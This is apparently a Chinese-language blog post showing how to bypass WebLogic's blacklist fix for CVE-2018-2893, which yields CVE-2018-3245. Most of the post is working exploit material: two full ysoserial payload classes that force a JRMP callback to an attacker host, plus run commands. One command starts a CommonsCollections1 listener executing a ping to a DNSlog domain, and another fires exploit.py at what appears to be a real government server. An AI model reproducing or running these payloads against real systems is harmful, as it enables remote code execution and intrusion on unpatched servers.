0x00 針對cve-2018-2893的修復

針對JRMP反序列化修復的方式依舊是增加黑名單:
黑名單package:
java.rmi.activation
sun.rmi.server
黑名單class：
java.rmi.server.UnicastRemoteObject
java.rmi.server.RemoteObjectInvocationHandler

0x01繞過方法

因為將java.rmi.server.RemoteObjectInvocationHandler添加到了黑名單中，所以只要滿足繼承java.rmi.server.RemoteObject,且不在黑名單之中的類對象，比如：

0x02漏洞復現

使用ReferenceWrapper_Stub代碼RemoteObjectInvocationHandler
payload 一：

package ysoserial.payloads;

import java.rmi.server.ObjID;
import java.util.Random;

import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

/**
 *
 *
 * UnicastRef.newCall(RemoteObject, Operation[], int, long)
 * DGCImpl_Stub.dirty(ObjID[], long, Lease)
 * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
 * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Thread.start()
 * DGCClient$EndpointEntry.<init>(Endpoint)
 * DGCClient$EndpointEntry.lookup(Endpoint)
 * DGCClient.registerRefs(Endpoint, List<LiveRef>)
 * LiveRef.read(ObjectInput, boolean)
 * UnicastRef.readExternal(ObjectInput)
 *
 * Requires:
 * - JavaSE
 *
 * Argument:
 * - host:port to connect to, host only chooses random port (DOS if repeated many times)
 *
 * Yields:
 * * an established JRMP connection to the endpoint (if reachable)
 * * a connected RMI Registry proxy
 * * one system thread per endpoint (DOS)
 *
 * @author mbechler
 */
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<ReferenceWrapper_Stub> {

    public ReferenceWrapper_Stub  getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(‘:‘);
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        ReferenceWrapper_Stub stu = new ReferenceWrapper_Stub(ref);

        return stu;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
        PayloadRunner.run(JRMPClient3.class, args);
    }
}
 

執行過程：
ava -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 ‘ping -c 1 aaaaaaawhoai.t00ls.766cba58c1dd.tu4.org‘

python exploit.py wsbs.gxds.gov.cn 7001 ysoserial.jar 47.94.2xx.xxx 1099 JRMPClient3

如果目標服務器存在漏洞，會去ping，然後通過dnslog解析可查看

payload 二：
使用RMIConnectionImpl_Stub代替：RemoteObjectInvocationHandler

package ysoserial.payloads;

import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;

@SuppressWarnings ( {
    "restriction"
} )

public class JRMPClient5 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(‘:‘);
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
        return stub;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient5.class.getClassLoader());
        PayloadRunner.run(JRMPClient5.class, args);
    }
}

執行方式如上

需要ysoserial.jar exploit.py的請留言

參考鏈接：

https://xz.aliyun.com/t/2479#toc-3

https://www.anquanke.com/post/id/162390

weblogic反序列化漏洞 cve-2018-3245